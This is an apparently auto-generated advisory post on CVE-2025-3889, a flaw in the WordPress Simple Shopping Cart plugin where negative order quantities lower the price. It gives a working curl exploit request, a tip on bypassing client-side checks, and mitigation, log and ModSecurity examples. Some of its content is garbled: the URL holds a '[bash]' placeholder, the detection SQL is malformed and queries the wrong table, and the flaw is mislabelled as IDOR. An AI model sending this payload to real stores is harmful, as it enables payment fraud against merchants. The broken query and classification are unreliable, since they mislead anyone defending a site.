The CVE-2025-3889 vulnerability in the WordPress Simple Shopping Cart plugin (up to v5.1.3) allows unauthenticated attackers to manipulate payment data via the `process_payment_data` function. The flaw arises due to insufficient validation of user-supplied input, specifically the product quantity parameter. Attackers can pass a negative value, reducing the total order cost. This exploit only works in Manual Checkout mode since PayPal/Stripe reject negative quantities. The issue is an Insecure Direct Object Reference (IDOR) vulnerability, enabling unauthorized modifications without proper access checks.
DailyCVE Form:
Platform: WordPress
Version: ≤5.1.3
Vulnerability: IDOR
Severity: Critical
Date: 05/06/2025
What Undercode Say:
Exploit:
- Craft a POST request to `process_payment_data` with a negative `quantity` value:
curl -X POST http://[bash]/wp-admin/admin-ajax.php -d "action=process_payment_data&quantity=-1&product_id=123"
- Bypass client-side validation using browser dev tools or proxy like Burp Suite.
Detection:
Check for unpatched plugin versions:
SELECT FROM wp_posts WHERE post_type = 'plugin' AND post_ LIKE '%Simple Shopping Cart%';
Mitigation:
1. Update to the patched version.
2. Implement server-side validation:
if ($_POST['quantity'] <= 0) {
wp_die('Invalid quantity');
}
3. Add nonce verification:
check_admin_referer('payment_nonce', 'nonce_field');
Log Analysis:
Monitor suspicious transactions:
grep "process_payment_data" /var/log/apache2/access.log | grep "quantity=-"
Firewall Rule (ModSecurity):
SecRule ARGS:quantity "@lt 1" "id:1001,deny,msg:'Negative Quantity Exploit'"
Patch Diff:
+ if (intval($_POST['quantity']) < 1) {
+ exit('Invalid input');
+ }
Impact: Financial loss due to order manipulation.
CVSS 4.0: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
